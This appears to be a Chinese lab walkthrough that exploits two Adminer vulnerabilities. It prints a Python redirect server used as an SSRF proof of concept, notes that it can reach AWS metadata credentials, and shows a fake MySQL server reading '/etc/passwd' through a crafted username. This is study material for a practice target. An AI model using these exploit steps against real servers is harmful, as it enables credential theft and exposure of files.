Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。
Adminer的ElasticSearch 和 ClickHouse 错误页面SSRF漏洞(CVE-2021-21311)在其4.0.0到4.7.9版本之间,连接 ElasticSearch 和 ClickHouse 数据库时存在一处服务端请求伪造漏洞(SSRF)。
在Adminer登录页面,选择ElasticSearch作为系统目标,并在server字段填写`example.com`,点击登录即可看到`example.com`返回的400错误页面展示在页面中
<?xml version=”1.0” encoding=”iso-8859-1”?> <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"\> <html xmlns=”http://www.w3.org/1999/xhtml“ xml:lang=”en” lang=”en”> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body> </html>
漏洞:使用管理员发送任意get请求并从内部服务器检索JSON响应的方法。可以从AWS元数据服务中提取AWS访问密钥。
第一步是启动一个python服务器,该服务器侦听传入的连接并以301重定向响应到任意选择的主机。在此示例情况下,重定向指向AWS元数据服务
代码:不过这里要改成自己的,
#!/usr/bin/env python
import SimpleHTTPServer
import SocketServer
import sys
import argparse
def redirect_handler_factory(url):
“””
Returns a request handler class that redirects to supplied `url`
“””
class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(301)
self.send_header(‘Location’, url)
self.end_headers()
def do_POST(self):
self.send_response(301)
self.send_header(‘Location’, url)
self.end_headers()
return RedirectHandler
def main():
parser = argparse.ArgumentParser(description=’HTTP redirect server’)
parser.add_argument(‘–port’, ‘-p’, action=”store”, type=int, default=80, help=’port to listen on’)
parser.add_argument(‘–ip’, ‘-i’, action=”store”, default=””, help=’host interface to listen on’)
parser.add_argument(‘redirect_url’, action=”store”)
myargs = parser.parse_args()
redirect_url = myargs.redirect_url
port = myargs.port
host = myargs.ip
redirectHandler = redirect_handler_factory(redirect_url)
handler = SocketServer.TCPServer((host, port), redirectHandler)
print(“serving at port %s” % port)
handler.serve_forever()
if __name__ == “__main__“:
main()
接下来是我的代码
import SimpleHTTPServer
import SocketServer
import sys
import argparse
def redirect_handler_factory(url):
“””
Returns a request handler class that redirects to supplied `url`
“””
class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(301)
self.send_header(‘Location’, “https://www.zhihu.com/people/sun-67-28-76“)
self.end_headers()
def do_POST(self):
self.send_response(301)
self.send_header(‘Location’, “https://www.zhihu.com/people/sun-67-28-76“)
self.end_headers()
#不管是GET还是POST都是重定向到我的知乎主页
return RedirectHandler
def main():
parser = argparse.ArgumentParser(description=’HTTP redirect server’)
parser.add_argument(‘–port’, ‘-p’, action=”store”, type=int, default=20000, help=’port to listen on’) #我20000端口已经转发到外网的3.tcp.vip.cpolar.cn:13465上面了
parser.add_argument(‘–ip’, ‘-i’, action=”store”, default=”0.0.0.0”, help=’host interface to listen on’)
parser.add_argument(‘redirect_url’, action=”store”)
myargs = parser.parse_args()
redirect_url = myargs.redirect_url
port = myargs.port
host = myargs.ip
redirectHandler = redirect_handler_factory(redirect_url)
handler = SocketServer.TCPServer((host, port), redirectHandler)
print(“serving at port %s” % port)
handler.serve_forever()
if __name__ == “__main__“:
main()
在命令行 python2 ./poc.py –port 20000 –ip 0.0.0.0 https://www.zhihu.com/people/sun-67-28-76 直接运行
这里显示我的20000端口开始接客了
现在回到靶场网站,服务器输入3.tcp.vip.cpolar.cn:13465,账号密码不用数
明显已经重定向到我知乎主页,此方法可以运用到网站运维
结束ctrl +z
Adminer远程文件读取(CVE-2021-43008)在其版本1.12.0到4.6.2之间存在一处因为MySQL LOAD DATA LOCAL导致的文件读取漏洞。
使用fakeserver启动一个恶意的MySQL服务器。这个是下载地址https://github.com/4ra1n/mysql-fake-server。
在fakeserver填写本机端口号(我的64965端口转发到外网了27.tcp.cpolar.top:10352 )Cmd和Generate,还有在Adminer登录页面中填写恶意服务地址和用户名`fileread_/etc/passwd`直接点击登录
点击登录
这就登录到我的钓鱼mysql了
可以执行创建数据库相关命令
读取到的文件`/etc/passwd`已保存至当前目录的文件夹下面。